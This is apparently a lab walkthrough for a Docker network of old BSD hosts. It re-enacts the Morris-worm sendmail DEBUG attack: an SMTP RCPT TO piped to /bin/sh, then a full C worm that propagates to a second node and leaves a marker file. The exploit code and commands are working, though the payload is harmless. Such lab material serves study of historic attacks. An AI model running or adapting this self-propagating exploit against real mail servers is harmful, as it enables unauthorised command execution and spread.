Set up the Docker Network:

Open the ye-old-bsd folder, then run:

Docker compose up

Open new terminal windows, in each one run one of these (to connect to all the necessary machines:

Docker attach node-1
Docker attach target-prime
Docker attach node-2

Click enter a few times and log in as root

Clear /tmp (in all machines, only necessary if running this multiple times):

rm -rf /tmp/*

Connect to target-prime (in node-1 terminal):

Run each of these commands one by one, and wait for the server response each time before running the next one:

telnet target-prime 25

Debug

mail from:<attacker>

rcpt to:<"| sed '1,/^$/d' | /bin/sh">

data

Paste in the worm:

cd /tmp
cat > worm_final.c <<'EOF'
#include <sys/types.h>
#include <sys/socket.h>

```
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <strings.h>

#define TARGET_IP "172.20.0.12"
#define TARGET_PORT 25

send_wait(sock, cmd)
int sock;
char *cmd;
{
    char buffer[1024];
    printf("CLIENT: %s", cmd);
    write(sock, cmd, strlen(cmd));
    sleep(1);
    read(sock, buffer, 1023);
}

send_blast(sock, cmd)
int sock;
char *cmd;
{
    printf("CLIENT (BLAST): %s", cmd);
    write(sock, cmd, strlen(cmd));
    sleep(1);
}

main() {
    int sock;
    struct sockaddr_in server;
    char buffer[1024];

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        perror("Socket failed");
        exit(1);
    }

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(TARGET_IP);
    server.sin_port = htons(TARGET_PORT);

    if (connect(sock, &server, sizeof(server)) < 0) {
```

```
        perror("Connection failed");
        exit(1);
    }
    printf("Connected to Node-2...\n");
    sleep(1);
    read(sock, buffer, 1023);

    /* 1. Handshake */
    send_wait(sock, "DEBUG\r\n");
    send_wait(sock, "MAIL FROM:<root>\r\n");

    /* 2. The Vector: Using the 'sed' cleaner again, but with /bin path */
    send_wait(sock, "RCPT TO:<\"| /bin/sed '1,/^$/d' | /bin/sh\">\r\n");

    /* 3. The Data */
    send_wait(sock, "DATA\r\n");

    /* 4. The Payload */
    send_blast(sock, "Subject: Worm Payload\r\n");
    send_blast(sock, "\r\n"); /* The Blank Line */

    /* THE FIX: Add ' #' to eat the \r character */
    send_blast(sock, "echo 'FINAL_VICTORY' > /tmp/NODE2_PWNED #\r\n");

    /* 5. Quit */
    send_wait(sock, ".\r\n");
    send_wait(sock, "QUIT\r\n");

    close(sock);
    printf("Exploit sent.\n");
}
EOF

/bin/cc -o worm_final worm_final.c
./worm_final
```

End the message/clean stuff up:

Then, on a newline, just put a "." and hit enter to end the message and send it
*Then type "*quit" and hit enter *to exit the telnet session*

See if it worked:

On target prime, run:

cd /tmp
ls

If it worked, you should see these files:

worm_final* worm_final.c

Optional: *If you want to see the verbose running of the worm (it shows you all the server/client prompts), just run* ./worm_final

On node-2, run:

cd /tmp
ls

You should see the file NODE2_PWNED*. If its there, run:*

cat NODE2_PWNED

If you see FINAL_VICTORY*, the self propagation worked!*